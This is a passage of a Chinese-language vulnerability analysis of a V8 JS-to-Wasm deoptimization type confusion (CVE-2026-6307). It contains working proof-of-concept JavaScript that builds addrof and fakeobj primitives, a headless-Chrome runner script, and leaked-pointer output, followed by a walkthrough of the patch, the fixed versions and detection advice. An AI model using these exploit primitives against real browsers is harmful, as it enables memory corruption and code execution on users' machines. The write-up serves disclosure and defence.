var B64="AGFzbQEAAAABDANgAABgAAFvYAABfgIQAQNlbnYIY2FsbGJhY2sAAAMDAgECBgsCbwHQbwt+AUIACwcrBAVnX3JlZgMABWdfaTY0AwEKcmV0dXJuX3JlZgABCnJldHVybl9pNjQAAgoPAgYAEAAjAAsGABAAIwEL";
function b64d(s){var b=atob(s),a=new Uint8Array(b.length);for(var i=0;i<b.length;i++)a[i]=b.charCodeAt(i);return a;}
var BYTES=b64d(B64);
function makeInstance(cb){return new WebAssembly.Instance(new WebAssembly.Module(BYTES),{env:{callback:cb}}).exports;}
var armA=false, armB=false;
function PA64(){} function PARef(){} function PB64(){} function PBRef(){}
// 实例 A:i64 先训练,把对象引用当 i64 返回,用于泄漏地址
var A=makeInstance(function(){ if(armA){PARef.prototype.m=1;} });
// 实例 B:externref 先训练,把 i64 当对象引用返回,用于伪造对象
var B=makeInstance(function(){ if(armB){PB64.prototype.m=1;} });
Object.defineProperty(PA64.prototype,'x',{get:A.return_i64});
Object.defineProperty(PARef.prototype,'x',{get:A.return_ref});
Object.defineProperty(PB64.prototype,'x',{get:B.return_i64});
Object.defineProperty(PBRef.prototype,'x',{get:B.return_ref});
function fooA(o){return o.x;}
function fooB(o){return o.x;}
emit('[*] chrome='+navigator.userAgent.match(/Chrome\/[0-9.]+/)[0]);
var sentinel={tag:'sentinel'};
A.g_ref.value=sentinel; A.g_i64.value=42n;
var a64=new PA64(), aRef=new PARef(), b64=new PB64(), bRef=new PBRef();
/* phase 1: i64-first training -> addrof */
evalTry('%PrepareFunctionForOptimization(fooA)');
for(var i=0;i<20;i++){fooA(a64);fooA(aRef);}
evalTry('%OptimizeFunctionOnNextCall(fooA)');
var s1=evalTry('fooA(a64)');
emit('[*] A optimized fooA(a64) -> '+render(s1.v));
armA=true;
var leaked=evalTry('fooA(aRef)');
emit('[*] A lazy-deopt fooA(aRef) -> '+render(leaked.v));
var ptr=null;
if(typeof leaked.v==='bigint'){ ptr=leaked.v; emit('[+] ADDROF: sentinel tagged pointer = '+ptr+' (0x'+ptr.toString(16)+')'); }
else { emit('[-] addrof not obtained'); }
/* phase 2: ref-first training -> fakeobj */
// 把 A 泄漏出的带标记指针写回 B 的 i64 全局,作为伪造对象的位模式来源
B.g_i64.value = (ptr!==null ? ptr : 0n);
B.g_ref.value = sentinel;
evalTry('%PrepareFunctionForOptimization(fooB)');
for(var j=0;j<20;j++){fooB(bRef);fooB(b64);}
evalTry('%OptimizeFunctionOnNextCall(fooB)');
var s2=evalTry('fooB(b64)');
emit('[*] B optimized fooB(b64) -> '+render(s2.v));
armB=true;
var fake=evalTry('fooB(b64)');
emit('[*] B lazy-deopt fooB(b64) -> '+render(fake.v));
try{
if(typeof fake.v==='object'&&fake.v!==null){ emit('[+] FAKEOBJ: i64 slot reinterpreted as tagged pointer -> '+(fake.v===sentinel?'SAME OBJECT as sentinel':JSON.stringify(fake.v))); }
else { emit('[-] fakeobj not obtained ('+render(fake.v)+')'); }
}catch(e){ emit('[!] touching fake object threw: '+e); }
flush();
for(var k=0;k<L.length;k++)console.log('[POC] '+L[k]);
</script>
stage1/runb.sh
#!/bin/bash
# 用法: ./runb.sh <chrome 可执行文件> <标签> [额外的 js-flags]
# 页面结果经 --dump-dom 输出, [POC] 日志留在 stderr
CHROME="$1"; TAG="$2"; EXTRA="$3"
DIR="$(cd "$(dirname "$0")" && pwd)"
timeout -k 5 90 "$CHROME" --headless=new --no-sandbox --disable-gpu --disable-dev-shm-usage \
--user-data-dir=/tmp/cft-profile-$TAG \
--js-flags="--allow-natives-syntax --no-maglev $EXTRA" \
--enable-logging=stderr --log-level=0 \
--virtual-time-budget=15000 \
--dump-dom "file://$DIR/poc-b.html" > "$DIR/out-$TAG.dom" 2> "$DIR/out-$TAG.err"
echo "EXIT=$?" >> "$DIR/out-$TAG.err"运行方式与单函数版一致:
# 以 145 构建无头运行 poc-b.html:页面结果写入 out-b145r1.dom,[POC] 日志写入 out-b145r1.err
./runb.sh /home/nl/cve-2026-6307/chrome/v145/chrome-linux64/chrome b145r1 ''# 从 out-b145r1.err 抽出 addrof 与 fakeobj 两个阶段的判定行
grep -oE '\[POC\].*' out-b145r1.err | sed 's/", source.*//' | grep -E 'ADDROF|FAKEOBJ|not obtained|lazy-deopt'
55190346886353 即 0x323201056cd1,末位 1 表示 bit0 置位,是标准的 V8 堆对象带标记指针。阶段二把这个数值写回 B.g_i64,fooB(b64) 的返回值就不再是 BigInt,=== 判定与 sentinel 为同一个对象——整数位模式被完整还原成了对象引用。
堆地址带 ASLR 随机性,addrof 给出的地址只在本进程内有效,两个方向必须放在同一个页面里接力,poc-b.html 的写法正是为此。
十、补丁里的三处改动
修复提交是 1b0cbb19f825863bbcaccd865ea260859008268b,落在 14.7 分支,共 152 行,涉及三个文件,核心是三处改动。
src/compiler/frame-states.cc(尺寸检查)
#if V8_ENABLE_WEBASSEMBLY
static_assert(sizeof(FrameStateFunctionInfo) == 40);
static_assert(sizeof(JSToWasmFrameStateFunctionInfo) == 48);
#else
static_assert(sizeof(FrameStateFunctionInfo) == 32);
#endifsrc/compiler/frame-states.cc(判等函数内新增签名比较)
// JSToWasmFrameStateFunctionInfo has an additional signature_ field.
// Two frame states with different wasm signatures must not compare equal,
// otherwise CSE/GVN can merge them and the deoptimizer will use the wrong
// signature to materialize the continuation frame.
if (lhs.type() == FrameStateType::kJSToWasmBuiltinContinuation &&
rhs.type() == FrameStateType::kJSToWasmBuiltinContinuation) {
if (static_cast<const JSToWasmFrameStateFunctionInfo&>(lhs).signature() !=
static_cast<const JSToWasmFrameStateFunctionInfo&>(rhs).signature()) {
return false;
}
}src/compiler/frame-states.h(拷贝路径)
// Prevent slicing when copying through base-class references.
FrameStateFunctionInfo(const FrameStateFunctionInfo&) = delete;
FrameStateFunctionInfo& operator=(const FrameStateFunctionInfo&) = delete;补丁来源:1b0cbb19f825863bbcaccd865ea260859008268b —— https://chromium.googlesource.com/v8/v8/+/1b0cbb19f825863bbcaccd865ea260859008268b
回归用例位置:test/mjsunit/regress/wasm/regress-497404188.js —— https://chromium.googlesource.com/v8/v8/+/1b0cbb19f825863bbcaccd865ea260859008268b/test/mjsunit/regress/wasm/regress-497404188.js
三处改动各有分工。新增的 static_assert(sizeof(JSToWasmFrameStateFunctionInfo) == 48) 把“派生类比基类多一个字段”变成编译期约束,此后任何人再给派生类加字段都会在编译期被拦下;对 kJSToWasmBuiltinContinuation 两侧下转型比较 signature(),让两个不同签名的帧状态不再判等,CSE/GVN 也就无从归并;删除基类的拷贝构造与拷贝赋值,堵的是另一条路——即使比较写对了,经基类引用拷贝时派生字段仍可能被切掉。补丁注释把因果链直接写进了代码:“otherwise CSE/GVN can merge them and the deoptimizer will use the wrong signature to materialize the continuation frame”。
上游回归用例与本地 poc.html 的机制相同:两个原型上的同名 getter、回调里改原型触发惰性反优化、反优化后按返回值的 JS 类型判定。差异在工程形态:
维度 | 上游用例 | 本地 PoC |
运行环境 | d8( | headless Chrome |
模块构造 |
| 手写 120 字节模块 + base64 内联 |
校验方式 |
| 返回值的 JS 类型判定 |
控制开关 |
|
|
十一、修复与检测
升级到 147.0.7727.101(V8 14.7.173.19)即可,该构建实测不再命中;147.0.7727.57(V8 14.7.173.16)仍命中,分界落在两者之间,补丁提交 revision 1b0cbb19f825863bbcaccd865ea260859008268b。
两个启动脚本固定带 --no-maglev;同一批构建在另一组 js-flags 下也跑过对照,145.0.7632.117 与 147.0.7727.57 同样命中,147.0.7727.101 同样不命中。这处缺陷可以让对象引用与整数位模式互转:externref 返回槽被按 i64 物化时泄漏堆地址,i64 返回槽被按 tagged 物化时得到伪造的对象引用,addrof 与 fakeobj 两个方向都已在同一页面内接力复现。处置顺序是升级优先、能力降级其次。Node.js / Electron / Deno 这类自带 V8 的运行时需单独判定:“Chrome 已升级”不等于宿主已修复,要按宿主内嵌的 V8 版本取。
修复档上的对照运行沿用同一个页面,只换构建路径:
# 以 147.0.7727.101 构建无头运行 poc.html:页面结果写入 out-rv147.dom,[POC] 日志写入 out-rv147.err
./run.sh /home/nl/cve-2026-6307/chrome/v147/chrome-linux64/chrome rv147 ''# 从 out-rv147.err 抽出 [POC] 行,得到本次运行的完整判定
grep -oE '\[POC\].*' out-rv147.err | sed 's/", source.*//'
把这份输出和 §八 的 145 档逐行对齐,除首行构建号外只有两处不同:foo(obj_ref) 的返回值行,和末行的判定行。优化状态机(0xc1 → 0x29 → 0x41)、回调计数(40 → 41 → 42)、反优化被触发的位置都逐字一致——修复档上这条路径照样被走到,惰性反优化仍发生在第二次 foo(obj_ref) 返回之后。变化的只是返回槽的解释方式:145 档把 externref 槽按 i64 物化,带标记指针当整数交回 JS;修复档按返回签名分派,槽按对象引用物化,foo(obj_ref) 原样返回哨兵对象,末行自然落到 no confusion observed。这与 §十 三处改动只落在物化阶段的类型分派相吻合,内联判定与反优化触发时机都没被动。
对检测方的意义在于,判定不能靠“有没有走到反优化”这类路径特征来做——修复前后都会走到同一个位置,能用作判据的只有返回值本身的 JS 类型。
检测上,页面里的判定方式可以搬到自己的测试集里:同一 JS 函数内联两个返回类型不同的 Wasm 调用点,在 wasm 调用返回之后触发一次惰性反优化,然后检查返回值的 JS 类型。类型发生变化或地址位数落进 BigInt,即命中。
参考链接
- 修复提交:https://chromium.googlesource.com/v8/v8/+/1b0cbb19f825863bbcaccd865ea260859008268b
- 回归用例:https://chromium.googlesource.com/v8/v8/+/1b0cbb19f825863bbcaccd865ea260859008268b/test/mjsunit/regress/wasm/regress-497404188.js
- CVE 记录:https://nvd.nist.gov/vuln/detail/CVE-2026-6307
- 厂商公告:https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_15.html
- 涉及源码(均按 14.7.173.16 定位):
src/compiler/frame-states.cchttps://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/frame-states.ccsrc/compiler/frame-states.hhttps://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/frame-states.hsrc/compiler/turboshaft/wasm-in-js-inlining-reducer-inl.hhttps://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/turboshaft/wasm-in-js-inlining-reducer-inl.hsrc/compiler/backend/instruction-selector.cchttps://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/backend/instruction-selector.ccsrc/compiler/backend/instr*uc*tion.cchttps://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/backend/ins**tru**ction.ccsrc/compiler/backend/instruction.hhttps://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/backend/instruction.hsrc/compiler/backend/code-generator.cchttps://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/backend/code-generator.ccsrc/deoptimizer/translated-state.cchttps://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/deoptimizer/translated-state.ccsrc/deoptimizer/translated-state.hhttps://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/deoptimizer/translated-state.hsrc/deoptimizer/deoptimizer.cchttps://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/deoptimizer/deoptimizer.ccsrc/wasm/value-type.cchttps://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/wasm/value-type.cc